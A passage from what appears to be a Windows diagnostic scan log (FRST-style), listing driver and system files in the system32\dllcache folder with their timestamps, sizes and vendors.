      2017-10-29 11:13 - 2008-04-14 00:06 - 000006912 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\smbclass.sys
      2017-10-29 11:13 - 2008-04-13 22:05 - 000063547 ____C (Symbol Technologies) C:\WINDOWS\system32\dllcache\sla30nd5.sys
      2017-10-29 11:13 - 2008-04-13 22:05 - 000032768 ____C (SiS Corporation) C:\WINDOWS\system32\dllcache\sisnic.sys
      2017-10-29 11:13 - 2001-08-17 22:36 - 000386560 ____C (Trident Microsystems Inc.) C:\WINDOWS\system32\dllcache\sgiul50.dll
      2017-10-29 11:13 - 2001-08-17 22:36 - 000238592 ____C (Silicon Integrated Systems Corporation) C:\WINDOWS\system32\dllcache\sisgrv.dll
      2017-10-29 11:13 - 2001-08-17 22:36 - 000045568 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\smb3w.dll
      2017-10-29 11:13 - 2001-08-17 22:36 - 000033792 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\smb0w.dll
      2017-10-29 11:13 - 2001-08-17 22:36 - 000028672 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sma0w.dll
      2017-10-29 11:13 - 2001-08-17 22:36 - 000028160 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sm91w.dll
      2017-10-29 11:13 - 2001-08-17 22:36 - 000026112 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\EXCH_seos.dll
      2017-10-29 11:13 - 2001-08-17 14:56 - 000252032 ____C (Silicon Integrated Systems Corporation) C:\WINDOWS\system32\dllcache\sis300iv.dll
      2017-10-29 11:13 - 2001-08-17 14:56 - 000157696 ____C (Silicon Integrated Systems Corporation) C:\WINDOWS\system32\dllcache\sisv256.dll
      2017-10-29 11:13 - 2001-08-17 14:56 - 000150144 ____C (Silicon Integrated Systems Corporation) C:\WINDOWS\system32\dllcache\sis6306v.dll
      2017-10-29 11:13 - 2001-08-17 14:56 - 000147200 ____C (Silicon Motion Inc.) C:\WINDOWS\system32\dllcache\smidispb.dll
      2017-10-29 11:13 - 2001-08-17 13:57 - 000006784 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\smbhc.sys
      2017-10-29 11:13 - 2001-08-17 13:53 - 000006784 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\serscan.sys
      2017-10-29 11:13 - 2001-08-17 13:48 - 000017664 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sermouse.sys
      2017-10-29 11:13 - 2001-08-17 12:51 - 000098080 ____C (Trident Microsystems Inc.) C:\WINDOWS\system32\dllcache\sgiulnt5.sys
      2017-10-29 11:13 - 2001-08-17 12:51 - 000058368 ____C (Silicon Motion Inc.) C:\WINDOWS\system32\dllcache\smiminib.sys
      2017-10-29 11:13 - 2001-08-17 12:50 - 000104064 ____C (Silicon Integrated Systems Corporation) C:\WINDOWS\system32\dllcache\sisgrp.sys
      2017-10-29 11:13 - 2001-08-17 12:50 - 000101760 ____C (Silicon Integrated Systems Corporation) C:\WINDOWS\system32\dllcache\sis300ip.sys
      2017-10-29 11:13 - 2001-08-17 12:50 - 000068608 ____C (Silicon Integrated Systems Corporation) C:\WINDOWS\system32\dllcache\sis6306p.sys
      2017-10-29 11:13 - 2001-08-17 12:50 - 000050432 ____C (Silicon Integrated Systems Corporation) C:\WINDOWS\system32\dllcache\sisv.sys
      2017-10-29 11:13 - 2001-08-17 12:19 - 000036480 ____C (Creative Technology Ltd.) C:\WINDOWS\system32\dllcache\sfmanm.sys
      2017-10-29 11:13 - 2001-08-17 12:12 - 000094698 ____C (SysKonnect GmbH.) C:\WINDOWS\system32\dllcache\sk98xwin.sys
      2017-10-29 11:13 - 2001-08-17 12:12 - 000091294 ____C (SysKonnect, a business unit of Schneider & Koch & Co. Datensysteme GmbH.) C:\WINDOWS\system32\dllcache\skfpwin.sys
      2017-10-29 11:13 - 2001-08-17 12:12 - 000025034 ____C (SMC Networks, Inc.) C:\WINDOWS\system32\dllcache\smcpwr2n.sys
      2017-10-29 11:13 - 2001-08-17 12:12 - 000024576 ____C (SMC Networks, Inc.) C:\WINDOWS\system32\dllcache\smc8000n.sys
      2017-10-29 11:13 - 2001-08-17 12:10 - 000035913 ____C (SMC) C:\WINDOWS\system32\dllcache\smcirda.sys
      2017-10-29 11:13 - 2001-07-21 14:29 - 000161568 ____C (Micro Systemation) C:\WINDOWS\system32\dllcache\sgsmusb.sys
      2017-10-29 11:13 - 2001-07-21 14:29 - 000018400 ____C (Micro Systemation) C:\WINDOWS\system32\dllcache\sgsmld.sys
      2017-10-29 11:12 - 2008-04-14 00:15 - 000011520 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\scsiscan.sys
      2017-10-29 11:12 - 2001-08-17 22:36 - 000057856 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\EXCH_scripto.dll
      2017-10-29 11:12 - 2001-08-17 13:53 - 000006912 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\seaddsmc.sys
      2017-10-29 11:12 - 2001-08-17 13:52 - 000011648 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\scsiprnt.sys
      2017-10-29 11:11 - 2008-08-21 14:00 - 000131584 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\pmxviceo.dll
      2017-10-29 11:11 - 2008-08-21 14:00 - 000083748 ____C C:\WINDOWS\system32\dllcache\prcp.nls
      2017-10-29 11:11 - 2008-08-21 14:00 - 000083748 ____C C:\WINDOWS\system32\dllcache\prc.nls
      2017-10-29 11:11 - 2008-08-21 14:00 - 000079872 ____C (Ricoh Co., Ltd.) C:\WINDOWS\system32\dllcache\rwia330.dll
      2017-10-29 11:11 - 2008-08-21 14:00 - 000079872 ____C (Ricoh Co., Ltd.) C:\WINDOWS\system32\dllcache\rwia001.dll
      2017-10-29 11:11 - 2008-08-21 14:00 - 000020992 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\permchk.dll
      2017-10-29 11:11 - 2008-08-21 14:00 - 000016384 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\quser.exe
      2017-10-29 11:11 - 2008-08-21 14:00 - 000014848 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\register.exe
      2017-10-29 11:11 - 2008-08-21 14:00 - 000011264 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\pmxmcro.dll
      2017-10-29 11:11 - 2008-08-21 14:00 - 000009728 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\query.exe
      2017-10-29 11:11 - 2008-08-21 14:00 - 000006144 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\pmxgl.dll
      2017-10-29 11:11 - 2008-04-14 05:42 - 000363520 ____C C:\WINDOWS\system32\dllcache\psisdecd.dll
      2017-10-29 11:11 - 2008-04-14 05:42 - 000159232 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ptpusd.dll
      2017-10-29 11:11 - 2008-04-14 05:42 - 000033280 ____C C:\WINDOWS\system32\dllcache\psisrndr.ax
      2017-10-29 11:11 - 2008-04-14 05:42 - 000029696 ____C (Ricoh Co., Ltd.) C:\WINDOWS\system32\dllcache\rw450ext.dll
      2017-10-29 11:11 - 2008-04-14 05:42 - 000027648 ____C (Ricoh Co., Ltd.) C:\WINDOWS\system32\dllcache\rw430ext.dll
      2017-10-29 11:11 - 2008-04-14 05:40 - 000259328 ____C (Microsoft Corp., 3Dlabs Inc. Ltd.) C:\WINDOWS\system32\dllcache\perm3dd.dll
      2017-10-29 11:11 - 2008-04-14 05:40 - 000211584 ____C (Microsoft Corp., 3Dlabs Inc. Ltd.) C:\WINDOWS\system32\dllcache\perm2dll.dll
      2017-10-29 11:11 - 2008-04-14 00:14 - 000028032 ____C (Microsoft Corp., 3Dlabs Inc. Ltd.) C:\WINDOWS\system32\dllcache\perm3.sys
      2017-10-29 11:11 - 2008-04-14 00:14 - 000027904 ____C (Microsoft Corp., 3Dlabs Inc. Ltd.) C:\WINDOWS\system32\dllcache\perm2.sys
      2017-10-29 11:11 - 2008-04-14 00:11 - 000017664 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ppa3.sys
      2017-10-29 11:11 - 2008-04-14 00:10 - 000079104 ____C (Comtrol Corporation) C:\WINDOWS\system32\dllcache\rocket.sys
      2017-10-29 11:11 - 2008-04-14 00:10 - 000043904 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sbp2port.sys
      2017-10-29 11:11 - 2008-04-14 00:10 - 000008832 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\powerfil.sys
      2017-10-29 11:11 - 2008-04-14 00:10 - 000006016 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\qic157.sys
      2017-10-29 11:11 - 2008-04-13 22:05 - 000020992 ____C (Realtek Semiconductor Corporation) C:\WINDOWS\system32\dllcache\rtl8139.sys
      2017-10-29 11:11 - 2008-04-13 21:42 - 000169984 ____C (Cisco Systems) C:\WINDOWS\system32\dllcache\pcx500.sys
      2017-10-29 11:11 - 2001-08-17 22:37 - 000105984 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\phdsext.ax
      2017-10-29 11:11 - 2001-08-17 22:36 - 000495616 ____C (Creative Technology Ltd.) C:\WINDOWS\system32\dllcache\sblfx.dll
      2017-10-29 11:11 - 2001-08-17 22:36 - 000121344 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\phvfwext.dll
      2017-10-29 11:11 - 2001-08-17 22:36 - 000086097 ____C (Xircom) C:\WINDOWS\system32\dllcache\reslog32.dll
      2017-10-29 11:11 - 2001-08-17 22:36 - 000086016 ____C (PCtel, Inc.) C:\WINDOWS\system32\dllcache\pctspk.exe
      2017-10-29 11:11 - 2001-08-17 22:36 - 000082432 ____C (Ricoh Co., Ltd.) C:\WINDOWS\system32\dllcache\rwia450.dll
      2017-10-29 11:11 - 2001-08-17 22:36 - 000079872 ____C (Ricoh Co., Ltd.) C:\WINDOWS\system32\dllcache\rwia430.dll
      2017-10-29 11:11 - 2001-08-17 22:36 - 000062496 ____C (S3 Incorporated) C:\WINDOWS\system32\dllcache\s3mtrio.dll
      2017-10-29 11:11 - 2001-08-17 22:36 - 000041472 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\qvusd.dll
      2017-10-29 11:11 - 2001-08-17 22:36 - 000035328 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\psisload.dll
      2017-10-29 11:11 - 2001-08-17 22:36 - 000023040 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\EXCH_regtrace.exe
      2017-10-29 11:11 - 2001-08-17 22:36 - 000016384 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\philcam1.dll
      2017-10-29 11:11 - 2001-08-17 22:36 - 000009216 ____C (Brother Industries, Ltd.) C:\WINDOWS\system32\dllcache\rsmgrstr.dll
      2017-10-29 11:11 - 2001-08-17 22:36 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ptpusb.dll
      2017-10-29 11:11 - 2001-08-17 14:56 - 000245632 ____C (S3 Graphics, Inc.) C:\WINDOWS\system32\dllcache\s3savmx.dll
      2017-10-29 11:11 - 2001-08-17 14:56 - 000210496 ____C (S3 Incorporated) C:\WINDOWS\system32\dllcache\s3mvirge.dll
      2017-10-29 11:11 - 2001-08-17 14:56 - 000198400 ____C (S3 Incorporated) C:\WINDOWS\system32\dllcache\s3sav4.dll
      2017-10-29 11:11 - 2001-08-17 14:56 - 000182272 ____C (S3 Incorporated) C:\WINDOWS\system32\dllcache\s3mt3d.dll
      2017-10-29 11:11 - 2001-08-17 14:56 - 000179264 ____C (S3 Incorporated) C:\WINDOWS\system32\dllcache\s3sav3d.dll
      2017-10-29 11:11 - 2001-08-17 14:07 - 000027296 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\perc2.sys
      2017-10-29 11:11 - 2001-08-17 14:07 - 000019840 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\philtune.sys
      2017-10-29 11:11 - 2001-08-17 14:07 - 000005504 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\perc2hib.sys
      2017-10-29 11:11 - 2001-08-17 14:04 - 000173696 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\philcam2.sys
      2017-10-29 11:11 - 2001-08-17 14:04 - 000092416 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\phildec.sys
      2017-10-29 11:11 - 2001-08-17 14:04 - 000075776 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\philcam1.sys
      2017-10-29 11:11 - 2001-08-17 13:57 - 000065664 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\s3legacy.sys
      2017-10-29 11:11 - 2001-08-17 13:53 - 000017792 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ppa.sys
      2017-10-29 11:11 - 2001-08-17 13:53 - 000007168 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\pnrmc.sys
      2017-10-29 11:11 - 2001-08-17 13:53 - 000003328 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\qv2kux.sys
      2017-10-29 11:11 - 2001-08-17 13:52 - 000049024 ____C (QLogic Corporation) C:\WINDOWS\system32\dllcache\ql1280.sys
      2017-10-29 11:11 - 2001-08-17 13:52 - 000045312 ____C (QLogic Corporation) C:\WINDOWS\system32\dllcache\ql12160.sys
      2017-10-29 11:11 - 2001-08-17 13:52 - 000040448 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ql1240.sys
      2017-10-29 11:11 - 2001-08-17 13:52 - 000040320 ____C (QLogic Corporation) C:\WINDOWS\system32\dllcache\ql1080.sys
      2017-10-29 11:11 - 2001-08-17 13:52 - 000033152 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ql10wnt.sys
      2017-10-29 11:11 - 2001-08-17 13:51 - 000023936 ____C (OMNIKEY AG) C:\WINDOWS\system32\dllcache\sccmusbm.sys
      2017-10-29 11:11 - 2001-08-17 13:51 - 000023936 ____C (OMNIKEY AG) C:\WINDOWS\system32\dllcache\sccmn50m.sys
      2017-10-29 11:11 - 2001-08-17 13:51 - 000019584 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\rasirda.sys
      2017-10-29 11:11 - 2001-08-17 13:51 - 000017280 ____C (SCM Microsystems) C:\WINDOWS\system32\dllcache\scr111.sys
      2017-10-29 11:11 - 2001-08-17 13:51 - 000016640 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\scmstcs.sys
      2017-10-29 11:11 - 2001-08-17 13:51 - 000016128 ____C (SCM Microsystems, Inc.) C:\WINDOWS\system32\dllcache\pscr.sys
      2017-10-29 11:11 - 2001-08-17 13:28 - 000899146 ____C (Xircom, Inc.) C:\WINDOWS\system32\dllcache\r2mdkxga.sys
      2017-10-29 11:11 - 2001-08-17 13:28 - 000714762 ____C (Xircom, Inc.) C:\WINDOWS\system32\dllcache\r2mdmkxx.sys
      2017-10-29 11:11 - 2001-08-17 13:28 - 000130942 ____C (PCTEL, INC.) C:\WINDOWS\system32\dllcache\ptserlv.sys
      2017-10-29 11:11 - 2001-08-17 13:28 - 000128286 ____C (PCTEL, INC.) C:\WINDOWS\system32\dllcache\ptserli.sys
      2017-10-29 11:11 - 2001-08-17 13:28 - 000112574 ____C (PCTEL, INC.) C:\WINDOWS\system32\dllcache\ptserlp.sys
      2017-10-29 11:11 - 2001-08-17 12:50 - 000166720 ____C (S3 Incorporated) C:\WINDOWS\system32\dllcache\s3m.sys
      2017-10-29 11:11 - 2001-08-17 12:50 - 000077824 ____C (S3 Incorporated) C:\WINDOWS\system32\dllcache\s3sav4m.sys
      2017-10-29 11:11 - 2001-08-17 12:50 - 000075392 ____C (S3 Graphics, Inc.) C:\WINDOWS\system32\dllcache\s3savmxm.sys
      2017-10-29 11:11 - 2001-08-17 12:50 - 000061504 ____C (S3 Incorporated) C:\WINDOWS\system32\dllcache\s3sav3dm.sys
      2017-10-29 11:11 - 2001-08-17 12:50 - 000041216 ____C (S3 Incorporated) C:\WINDOWS\system32\dllcache\s3mt3d.sys
      2017-10-29 11:11 - 2001-08-17 12:19 - 000030720 ____C (Conexant Systems Inc.) C:\WINDOWS\system32\dllcache\rthwcls.sys
      2017-10-29 11:11 - 2001-08-17 12:19 - 000003840 ____C (Conexant Systems Inc.) C:\WINDOWS\system32\dllcache\rpfun.sys
      2017-10-29 11:11 - 2001-08-17 12:12 - 000037563 ____C (RadioLAN) C:\WINDOWS\system32\dllcache\rlnet5.sys
      2017-10-29 11:11 - 2001-08-17 12:12 - 000026153 ____C (Linksys) C:\WINDOWS\system32\dllcache\pcmlm56.sys
      2017-10-29 11:11 - 2001-08-17 12:12 - 000019017 ____C (Realtek Semiconductor Corporation) C:\WINDOWS\system32\dllcache\rtl8029.sys
      2017-10-29 11:11 - 2001-08-17 12:11 - 000035328 ____C (AMD Inc.) C:\WINDOWS\system32\dllcache\pcntpci5.sys
      2017-10-29 11:11 - 2001-08-17 12:11 - 000030282 ____C (AMD Inc.) C:\WINDOWS\system32\dllcache\pcntn5hl.sys
      2017-10-29 11:11 - 2001-08-17 12:11 - 000029769 ____C (AMD Inc.) C:\WINDOWS\system32\dllcache\pcntn5m.sys
      2017-10-29 11:10 - 2008-08-21 14:00 - 000053248 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\nextlink.dll
      2017-10-29 11:10 - 2008-08-21 14:00 - 000036927 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\padrs411.dll
      2017-10-29 11:10 - 2008-08-21 14:00 - 000031744 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\pagecnt.dll
      2017-10-29 11:10 - 2008-08-21 14:00 - 000014336 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\padrs412.dll
      2017-10-29 11:10 - 2008-04-14 00:24 - 000028672 ____C (National Semiconductor Corporation) C:\WINDOWS\system32\dllcache\nscirda.sys
      2017-10-29 11:10 - 2008-04-13 22:05 - 000132695 ____C (802.11b) C:\WINDOWS\system32\dllcache\netwlan5.sys
      2017-10-29 11:10 - 2008-04-13 22:05 - 000029502 ____C (Marconi Communications, Inc.) C:\WINDOWS\system32\dllcache\pca200e.sys
      2017-10-29 11:10 - 2001-08-17 22:36 - 000123776 ____C (NVIDIA Corporation) C:\WINDOWS\system32\dllcache\nv3.dll
      2017-10-29 11:10 - 2001-08-17 22:36 - 000116736 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ovcodec2.dll
      2017-10-29 11:10 - 2001-08-17 22:36 - 000060480 ____C (NeoMagic Corporation) C:\WINDOWS\system32\dllcache\neo20xx.dll
      2017-10-29 11:10 - 2001-08-17 22:36 - 000059104 ____C (Number Nine Visual Technology Corp.) C:\WINDOWS\system32\dllcache\n9i128v2.dll
      2017-10-29 11:10 - 2001-08-17 22:36 - 000044544 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ovui2.dll
      2017-10-29 11:10 - 2001-08-17 22:36 - 000041984 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ovui2rc.dll
      2017-10-29 11:10 - 2001-08-17 22:36 - 000039424 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ovcoms.exe
      2017-10-29 11:10 - 2001-08-17 22:36 - 000038912 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\EXCH_ntfsdrv.dll
      2017-10-29 11:10 - 2001-08-17 22:36 - 000020480 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ovcomc.dll
      2017-10-29 11:10 - 2001-08-17 22:36 - 000019968 ____C (Moxa Technologies Co., Ltd) C:\WINDOWS\system32\dllcache\mxicfg.dll
      2017-10-29 11:10 - 2001-08-17 22:36 - 000007168 ____C (Moxa Technologies Co., Ltd) C:\WINDOWS\system32\dllcache\mxport.dll
      2017-10-29 11:10 - 2001-08-17 14:56 - 000091488 ____C (Number Nine Visual Technology Corp.) C:\WINDOWS\system32\dllcache\n9i3disp.dll
      2017-10-29 11:10 - 2001-08-17 14:56 - 000035392 ____C (Number Nine Visual Technology Corp.) C:\WINDOWS\system32\dllcache\n9i128.dll
      2017-10-29 11:10 - 2001-08-17 14:05 - 000351616 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ovcodek2.sys
      2017-10-29 11:10 - 2001-08-17 14:05 - 000048000 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ovcam2.sys
      2017-10-29 11:10 - 2001-08-17 14:05 - 000031872 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ovce.sys
      2017-10-29 11:10 - 2001-08-17 14:05 - 000028032 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ovcd.sys
      2017-10-29 11:10 - 2001-08-17 14:05 - 000025216 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ovsound2.sys
      2017-10-29 11:10 - 2001-08-17 14:05 - 000025088 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ovca.sys
      2017-10-29 11:10 - 2001-08-17 13:53 - 000007552 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\nsmmc.sys
      2017-10-29 11:10 - 2001-08-17 13:50 - 000075520 ____C (Moxa Technologies Co., Ltd.) C:\WINDOWS\system32\dllcache\mxport.sys
      2017-10-29 11:10 - 2001-08-17 13:49 - 000019968 ____C (Macronix International Co., Ltd. ) C:\WINDOWS\system32\dllcache\mxnic.sys
      2017-10-29 11:10 - 2001-08-17 13:49 - 000015872 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ne2000.sys
      2017-10-29 11:10 - 2001-08-17 13:47 - 000009344 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ntapm.sys
      2017-10-29 11:10 - 2001-08-17 13:28 - 000054186 ____C (Ositech Communications, Inc.) C:\WINDOWS\system32\dllcache\otcsercb.sys
      2017-10-29 11:10 - 2001-08-17 12:50 - 000198144 ____C (NVIDIA Corporation) C:\WINDOWS\system32\dllcache\nv3.sys
      2017-10-29 11:10 - 2001-08-17 12:50 - 000039264 ____C (NeoMagic Corporation) C:\WINDOWS\system32\dllcache\neo20xx.sys
      2017-10-29 11:10 - 2001-08-17 12:50 - 000033088 ____C (Number Nine Visual Technology Corp.) C:\WINDOWS\system32\dllcache\n9i128v2.sys
      2017-10-29 11:10 - 2001-08-17 12:50 - 000027936 ____C (Number Nine Visual Technology Corp.) C:\WINDOWS\system32\dllcache\n9i3d.sys
      2017-10-29 11:10 - 2001-08-17 12:50 - 000013664 ____C (Number Nine Visual Technology Corp.) C:\WINDOWS\system32\dllcache\n9i128.sys
      2017-10-29 11:10 - 2001-08-17 12:49 - 000051552 ____C (Kensington Technology Group) C:\WINDOWS\system32\dllcache\ntgrip.sys
      2017-10-29 11:10 - 2001-08-17 12:20 - 000126080 ____C (NeoMagic Corporation) C:\WINDOWS\system32\dllcache\nm5a2wdm.sys
      2017-10-29 11:10 - 2001-08-17 12:20 - 000087040 ____C (NeoMagic Corporation) C:\WINDOWS\system32\dllcache\nm6wdm.sys
      2017-10-29 11:10 - 2001-08-17 12:20 - 000054528 ____C (Yamaha Corp.) C:\WINDOWS\system32\dllcache\opl3sax.sys
      2017-10-29 11:10 - 2001-08-17 12:12 - 000043689 ____C (Ositech Communications, Inc.) C:\WINDOWS\system32\dllcache\otceth5.sys
      2017-10-29 11:10 - 2001-08-17 12:12 - 000032840 ____C (NETGEAR Corporation.) C:\WINDOWS\system32\dllcache\ngrpci.sys
      2017-10-29 11:10 - 2001-08-17 12:12 - 000030495 ____C (Linksys) C:\WINDOWS\system32\dllcache\pc100nds.sys
      2017-10-29 11:10 - 2001-08-17 12:12 - 000027209 ____C (Ositech Communications, Inc.) C:\WINDOWS\system32\dllcache\otc06x5.sys
      2017-10-29 11:10 - 2001-08-17 12:11 - 000128000 ____C (Compaq Computer Corporation) C:\WINDOWS\system32\dllcache\n100325.sys
      2017-10-29 11:10 - 2001-08-17 12:11 - 000065278 ____C (Compaq Computer Corporation) C:\WINDOWS\system32\dllcache\netflx3.sys
      2017-10-29 11:10 - 2001-08-17 12:11 - 000052255 ____C (Compaq Computer Corporation) C:\WINDOWS\system32\dllcache\n1000nt5.sys
      2017-10-29 11:09 - 2008-08-21 14:00 - 001875968 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msir3jp.lex
      2017-10-29 11:09 - 2008-08-21 14:00 - 000229439 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\multibox.dll
      2017-10-29 11:09 - 2008-08-21 14:00 - 000098304 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msir3jp.dll
      2017-10-29 11:09 - 2008-08-21 14:00 - 000092416 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\mga.sys
      2017-10-29 11:09 - 2008-08-21 14:00 - 000092032 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\mga.dll
      2017-10-29 11:09 - 2008-08-21 14:00 - 000034304 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\migisol.exe
      2017-10-29 11:09 - 2008-08-21 14:00 - 000026624 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\mdsync.dll
      2017-10-29 11:09 - 2008-08-21 14:00 - 000022016 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\logscrpt.dll
      2017-10-29 11:09 - 2008-04-14 05:42 - 000056832 ____C C:\WINDOWS\system32\dllcache\msdvbnp.ax
      2017-10-29 11:09 - 2008-04-14 00:24 - 000022016 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msircomm.sys
      2017-10-29 11:09 - 2008-04-14 00:16 - 000051200 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msdv.sys
      2017-10-29 11:09 - 2008-04-14 00:16 - 000049024 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\mstape.sys
      2017-10-29 11:09 - 2008-04-14 00:16 - 000015232 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\mpe.sys
      2017-10-29 11:09 - 2008-04-14 00:11 - 000026112 ____C (Sony Corporation) C:\WINDOWS\system32\dllcache\memstpci.sys
      2017-10-29 11:09 - 2008-04-14 00:10 - 000034688 ____C (Toshiba Corp.) C:\WINDOWS\system32\dllcache\lbrtfdc.sys
      2017-10-29 11:09 - 2008-04-14 00:10 - 000007040 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ltotape.sys
      2017-10-29 11:09 - 2008-04-13 23:53 - 000606684 ____C (LT) C:\WINDOWS\system32\dllcache\ltmdmnt.sys
      2017-10-29 11:09 - 2008-04-13 23:53 - 000420992 ____C (LT) C:\WINDOWS\system32\dllcache\ltmdmntt.sys
      2017-10-29 11:09 - 2008-04-13 22:09 - 000020864 ____C (Logitech Inc.) C:\WINDOWS\system32\dllcache\lwadihid.sys
      2017-10-29 11:09 - 2001-08-17 22:36 - 000065536 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\EXCH_mailmsg.dll
      2017-10-29 11:09 - 2001-08-17 22:36 - 000058880 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\m3092dc.dll
      2017-10-29 11:09 - 2001-08-17 22:36 - 000058368 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\m3091dc.dll
      2017-10-29 11:09 - 2001-08-17 22:36 - 000047616 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\memgrp.dll
      2017-10-29 11:09 - 2001-08-17 14:56 - 000235648 ____C (Matrox Graphics Inc.) C:\WINDOWS\system32\dllcache\mgaud.dll
      2017-10-29 11:09 - 2001-08-17 14:02 - 000035200 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msgame.sys
      2017-10-29 11:09 - 2001-08-17 14:00 - 000002944 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msmpu401.sys
      2017-10-29 11:09 - 2001-08-17 13:58 - 000008320 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\memcard.sys
      2017-10-29 11:09 - 2001-08-17 13:57 - 000016128 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\modemcsa.sys
      2017-10-29 11:09 - 2001-08-17 13:53 - 000004992 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\loop.sys
      2017-10-29 11:09 - 2001-08-17 13:52 - 000017280 ____C (American Megatrends Inc.) C:\WINDOWS\system32\dllcache\mraid35x.sys
      2017-10-29 11:09 - 2001-08-17 13:52 - 000007424 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\mammoth.sys
      2017-10-29 11:09 - 2001-08-17 13:52 - 000006528 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\miniqic.sys
      2017-10-29 11:09 - 2001-08-17 13:51 - 000015744 ____C (Litronic Industries) C:\WINDOWS\system32\dllcache\lit220p.sys
      2017-10-29 11:09 - 2001-08-17 13:50 - 000021888 ____C (Moxa Technologies Co., Ltd.) C:\WINDOWS\system32\dllcache\mxcard.sys
      2017-10-29 11:09 - 2001-08-17 13:48 - 000012416 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msriffwv.sys
      2017-10-29 11:09 - 2001-08-17 13:48 - 000006016 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msfsio.sys
      2017-10-29 11:09 - 2001-08-17 13:28 - 000802683 ____C (Lucent Technologies) C:\WINDOWS\system32\dllcache\ltsm.sys
      2017-10-29 11:09 - 2001-08-17 13:28 - 000797500 ____C (LT) C:\WINDOWS\system32\dllcache\ltsmt.sys
